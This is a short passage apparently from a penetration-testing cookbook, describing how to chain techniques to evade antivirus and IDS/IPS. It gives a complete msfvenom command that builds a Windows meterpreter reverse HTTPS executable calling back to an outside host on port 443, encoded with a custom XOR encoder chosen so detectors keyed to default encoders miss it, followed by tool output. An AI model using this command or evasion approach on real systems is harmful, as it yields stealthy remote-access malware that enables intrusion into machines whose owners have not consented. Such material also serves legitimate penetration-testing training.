In this recipe, we will combine several bypass techniques in order to successfully bypass antivirus and IDS/IPS solutions.
- First, we will create the payload using the bf_xor custom encoder used in the previous chapter; this way we can ensure that the solution looking for the default encoders won't flag our payload as malware:
root@Metasploit:~# msfvenom -p windows/meterpreter/reverse_winhttps LHOST=zinitiative.com LPORT=443 HandlerSSLCert=./unified.pem StagerVerifySSLCert=true -f exe -e x86/bf_xor -o bypass.exeNo platform was selected, choosing Msf::Module::Platform::Windows from the payloadNo Arch selected, selecting Arch: x86 from the payloadFound 1 compatible encodersAttempting to encode payload with 1 iterations of x86/bf_xor ...
